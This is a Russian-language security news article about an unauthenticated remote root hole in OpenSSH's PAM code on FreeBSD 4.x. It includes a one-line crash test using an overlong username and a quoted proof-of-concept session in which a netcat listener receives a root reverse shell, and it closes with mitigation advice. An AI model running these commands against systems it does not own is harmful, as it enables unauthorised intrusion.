В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена удаленная root-уязвимость

В списке рассылки full-disclosure представлена критическая уязвимость в используемой во FreeBSD 4.x версии OpenSSH, позволяющая удаленному злоумышленнику без аутентификации получить root-доступ к системе. Уже создан и публично опубликован эксплоит, позволяющий получить привилегированный shell на подверженных уязвимости серверах.

Уязвимость проявляется для протоколов SSH1 и SSH2. Проблема вызвана ошибкой в реализации аутентификации с использованием PAM на платформе FreeBSD. Проблема присутствует в функции "pam_thread()" из файла auth2-pam-freebsd.c. Начиная с версии FreeBSD 5.2 содержащий уязвимость файл auth2-pam-freebsd.c был заменен новой реализацией, т.е. с большой долей вероятности можно утверждать, что новые версии FreeBSD проблеме не подвержены. 100% уверенности пока нет, так как точно не ясно, не перекочевал ли проблемный код в какие-либо библиотеки PAM или сторонние реализации OpenSSH, используемые и поныне. Детальный аудит ещё предстоит провести.

Ошибка проявляется при передаче слишком длинного имени пользователя. Простой способ проверить наличие уязвимости - попытаться обратиться к своему серверу, указав логин порядка 100 символов. Например:
#ssh -l`perl -e 'print "A" x 100'` хост 

, в случае проблемы, можно наблюдать крах рабочего процесса sshd и вывод в лог /var/log/messages сообщения "/kernel: pid N (sshd), uid 0: exited on signal 11 (core dumped)". Изучение core-дампа показало, что проблема подвержена эксплуатации, так как атакующий может контролировать указатель перехода и позиционировать его на shellcode. Прототип рабочего эксплоита был успешно создан путем небольшой модификации кода ssh-клиента из пакета OpenSSH 5.8p2.
  $ ./ssh -1 192.168.1.1
   $ nc -v -l -p 10000
   listening on [any] 10000 ...
   192.168.1.1: inverse host lookup failed: Unknown host
   connect to [192.168.1.1] from (UNKNOWN) [192.168.1.2] 1038
   
   uname -a
   
   FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005  /GENERIC  i386

   id

   uid=0(root) gid=0(wheel) groups=0(wheel)

Поддержка ветки FreeBSD 4.x прекращена ещё в 2007 году, но данная версия все еще используется на некоторых серверах в сети. Пользователям версии FreeBSD 4.x рекомендуется срочно обновить OpenSSH до более новой версии. В качестве обходного пути решения проблемы следует разрешить через пакетный фильтр доступ по SSH только для доверительных хостов и отключить поддержку PAM, указав в настройках "ChallengeResponseAuthentication no". Информации о возможности поражения других операционных систем, использующих устаревшие версии OpenSSH с реализацией поддержки PAM от проекта FreeBSD, пока нет.




Вас также может заинтересовать:

Опубликован эксплоит для вызова краха ядра из состава RHEL 6
В XORG 1.11 найдена критическая уязвимость
Опасная удаленная уязвимость в Samba
Удаленная установка CentOS или Fedora
В ядре Linux найдена локальная root-уязвимость
Релиз OpenSSH 5.9